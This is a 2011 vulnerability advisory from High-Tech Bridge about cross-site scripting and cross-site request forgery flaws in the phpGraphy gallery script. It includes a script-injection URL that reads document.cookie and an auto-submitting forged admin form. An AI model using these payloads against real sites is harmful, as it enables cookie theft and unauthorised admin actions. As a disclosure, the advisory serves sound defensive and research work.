Multiple Vulnerabilities in phpGraphy

Advisory ID:HTB22958
Product:phpGraphy
Vendor:http://phpgraphy.sourceforge.net/
Vulnerable Versions:0.9.13b and probably prior
Tested Version:0.9.13b
Advisory Publication:April 14, 2011 [without technical details]
Vendor Notification:April 14, 2011
Public Disclosure:April 28, 2011
Vulnerability Type:Cross-Site Scripting [CWE-79]
Cross-Site Request Forgery [CWE-352]
Risk Level:Medium
CVSSv2 Base Scores:4.3 (AV:N/AC:M/Au:N/C:N/I:P/A:N)
2.6 (AV:N/AC:H/Au:N/C:N/I:P/A:N)
Discovered and Provided:High-Tech Bridge Security Research Lab
 

Advisory Details:

High-Tech Bridge SA Security Research Lab has discovered vulnerabilities in phpGraphy which could be exploited to perform cross-site scripting and cross-site request forgery attacks.

1) Cross-site scripting (XSS) vulnerability in phpGraphy
The vulnerability exists due to input sanitation error in the "theme_dir" parameter in themes/default/header.inc.php. A remote attacker can send a specially crafted HTTP request to the vulnerable script and execute arbitrary HTML and script code in user`s browser in context of the vulnerable website.
Successful exploitation requires that register_globalsis enabled.
Exploitation example:
http://[host]/themes/default/header.inc.php?theme_dir=%22%3E%3Cscript%3Ealer t%28document.cookie%29;% 3C/script%3E

2) Cross-site request forgery (CSRF) vulnerability in phpGraphy
The vulnerability exists due to insufficient validation of the request origin in index.php. A remote attacker can create a specially crafted link, trick a logged-in administrator into following that link and create arbitrary directories.
Exploitation example:
<form action="http://[host]/index.php" method="post" name="main" id="main">
<input type="hidden" name="createdirname" value="1">
<input type="hidden" name="dircreate" value="1">
<input type="hidden" name="dir" value="">
<input type="hidden" name="submit" value="OK">
<input type="submit" id="btn">
</form>
<script>
document.getElementById('btn').click();
</script>

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Solution:
Currently we are not aware of any vendor-supplied patches or other solutions. The vendor was contacted in accordance to our Vendor Notification Policy but we didn't get any answer or feedback.


References:
[1] High-Tech Bridge Advisory HTB22958 - https://www.immuniweb.com/advisory/HTB22958 - Multiple Vulnerabilities in phpGraphy
[2] phpGraphy - phpgraphy.sourceforge.net - phpGraphy is a free PHP photo gallery script released under GPL license.
[3] Common Weakness Enumeration (CWE) - http://cwe.mitre.org - targeted to developers and security practitioners, CWE is a formal list of software weakness types.
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